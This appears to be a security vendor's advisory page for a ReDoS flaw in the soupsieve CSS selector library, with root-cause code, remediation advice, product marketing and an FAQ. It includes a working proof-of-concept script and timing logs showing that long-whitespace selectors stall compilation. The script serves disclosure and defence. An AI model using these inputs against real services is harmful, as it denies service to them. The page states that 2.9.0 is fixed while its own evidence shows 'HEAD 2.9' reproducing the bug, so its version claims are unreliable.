CVE-2026-85999

CVE-2026-85999 is a medium-severity uncontrolled resource consumption vulnerability in soupsieve (pip), affecting versions < 2.9.0. It is fixed in 2.9.0.

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Summary

Soup Sieve: Polynomial-time ReDoS (O(n²)) in the whitespace/comment trimming regex REWSEND (triggers on VALID selectors)

Before tokenizing, selector_iter trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with .search(). The trailing one, RE_WS_END = re.compile(r'{WSC}*$'), is anchored only at the end ($), not the start. Because .search() retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail $, producing O(n²) time. This triggers on perfectly valid selectors, e.g. a descendant combinator with a long whitespace gap, a + " "*n + b, so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.

Trust model (Q0)

The selector string is the input, reaching this code via soupsieve.compile(), the soupsieve.select/iselect/match/filter helpers, and BeautifulSoup's soup.select(selector) / soup.select_one(selector). Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.

Root cause (exact anchors), src/soupsieve/css_parser.py

# line 185-186
RE_WS_BEGIN = re.compile(fr'^{WSC}*')   # anchored at start -> .search() only tries pos 0 -> linear (safe)
RE_WS_END   = re.compile(fr'{WSC}*$')   # NOT anchored at start -> .search() tries every offset

# selector_iter, lines ~1322-1326
m = RE_WS_BEGIN.search(pattern)
index = m.end(0) if m else 0
m = RE_WS_END.search(pattern)                     # <-- O(n^2) here
end = (m.start(0) - 1) if m else (len(pattern) - 1)

WSC = (?:{WS}|{COMMENTS}). For RE_WS_END = (?:WS|COMMENTS)*$, .search() walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, (?:WS|COMMENTS)* greedily consumes to the run's end, then $ fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats, O(n) offsets × O(n) per attempt = O(n²). RE_WS_BEGIN avoids this because ^ pins it to a single start offset.

The intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored .search() of a *$ pattern is the defect.

Reproduction environment (discipline #12, published artifact)

  • git HEAD 751c57b (2.9, PYTHONPATH=src): cd src && python3 ../poc/poc_redos_ws_trim.py.
  • Published PyPI soupsieve 2.8.4 (fresh uv pip install soupsieve beautifulsoup4): cd poc && ../.venv-published/bin/python poc_redos_ws_trim.py → same O(n²) (evidence: poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log).
  • Python 3.11.15 and 3.14.6 both reproduce.

PoC (poc/poc_redos_ws_trim.py)

import sys, time
sys.path.insert(0, ".")
import soupsieve as sv

def ct(sel):
    t0 = time.perf_counter()
    try:
        sv.compile(sel); st = "ok"
    except Exception as e:
        st = type(e).__name__
    return time.perf_counter() - t0, st

print(f"soupsieve {sv.__version__}\n")

print("VALID selector 'a' + ' '*n + 'b'  (descendant combinator, lots of whitespace):")
for n in (2000, 4000, 8000, 16000):
    dt, st = ct("a" + " " * n + "b")
    print(f"  n={n:<6} len={n+2:<7} {dt*1000:9.1f} ms  [{st}]")

payload = "a" + " " * 20000 + "b"
dt, st = ct(payload)
print(f"\n[+] Single call: compile('a' + ' '*20000 + 'b')  (len={len(payload)})")
print(f"[+] wall time = {dt:.2f} s   [{st}]")

Isolated confirmation that the cost is in RE_WS_END.search specifically (poc/isolate_ws_trim.py): RE_WS_END on "div"+" "*n+">" is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored RE_WS_BEGIN on " "*n+"x" stays linear (32000→1.5 ms). Profiling compile shows the entire wall time in 2 re.Pattern.search calls, not .match.

Evidence, HEAD 2.9 (verbatim poc/evidence_redos_ws_trim.log)

soupsieve 2.9

VALID selector 'a' + ' '*n + 'b'  (descendant combinator, lots of whitespace):
  n=2000   len=2002        112.3 ms  [ok]
  n=4000   len=4002        411.5 ms  [ok]
  n=8000   len=8002       1602.9 ms  [ok]
  n=16000  len=16002      6464.1 ms  [ok]

VALID-looking 'a' + '/*x*/'*n + 'b'  (CSS comment run):
  n=1000   len=5002         48.9 ms  [SelectorSyntaxError]
  n=2000   len=10002       194.8 ms  [SelectorSyntaxError]
  n=4000   len=20002       780.2 ms  [SelectorSyntaxError]
  n=8000   len=40002      3145.3 ms  [SelectorSyntaxError]

[+] Single call: compile('a' + ' '*20000 + 'b')  (len=20002)
[+] wall time = 10.23 s   [ok]

Evidence, published 2.8.4 (verbatim poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log)

soupsieve 2.8.4

VALID selector 'a' + ' '*n + 'b':
  n=2000   len=2002        102.7 ms  [ok]
  n=4000   len=4002        404.3 ms  [ok]
  n=8000   len=8002       1618.2 ms  [ok]
  n=16000  len=16002      6457.9 ms  [ok]
[+] Single call: compile('a' + ' '*20000 + 'b')  wall time = 10.11 s   [ok]

Impact, calibrated

  • Confirmed: quadratic CPU per compile()/select() call on an attacker-controlled selector, triggered by a long internal whitespace or CSS-comment run. ~8 KB → ~1.6 s; ~20 KB → ~10 s; scaling ~×4 per input doubling. Notably fires on WELL-FORMED selectors, so it does not depend on a parser error path.
  • Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.
  • NOT claimed: exponential blowup, memory corruption, or code execution. Availability (DoS) only, and only where selectors are attacker-influenced.

Distinction from the IDENTIFIER/VALUE ReDoS

This is a separate root cause and a separate fix: the cost here is entirely in the RE_WS_END = {WSC}*$ trim step run with .search() before tokenizing (measured in re.Pattern.search), whereas the IDENTIFIER/VALUE issue is adjacent-quantifier backtracking during token .match(). They can be fixed independently.

Impact

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-85999 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.9.0); upgrading removes the vulnerable code path.

Affected versions

soupsieve (< 2.9.0)

Security releases

soupsieve → 2.9.0 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

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Remediation advice

  • Anchor or de-loop the trailing-trim step: instead of .search() of {WSC}*$, scan trailing whitespace/comments from the end directly (e.g. reverse scan, or re.compile(r'^{WSC}*').match on a reversed-equivalent), so no per-offset retry occurs.
  • Alternatively strip whitespace/comments in a single forward tokenizing pass rather than with a pre-pass *$ search.
  • Defense-in-depth: cap selector length before compiling.

Frequently Asked Questions

  1. What is CVE-2026-85999? CVE-2026-85999 is a medium-severity uncontrolled resource consumption vulnerability in soupsieve (pip), affecting versions < 2.9.0. It is fixed in 2.9.0. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
  2. How severe is CVE-2026-85999? CVE-2026-85999 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of soupsieve are affected by CVE-2026-85999? soupsieve (pip) versions < 2.9.0 is affected.
  4. Is there a fix for CVE-2026-85999? Yes. CVE-2026-85999 is fixed in 2.9.0. Upgrade to this version or later.
  5. Is CVE-2026-85999 exploitable, and should I be worried? Whether CVE-2026-85999 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-85999 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-85999? Upgrade soupsieve to 2.9.0 or later.

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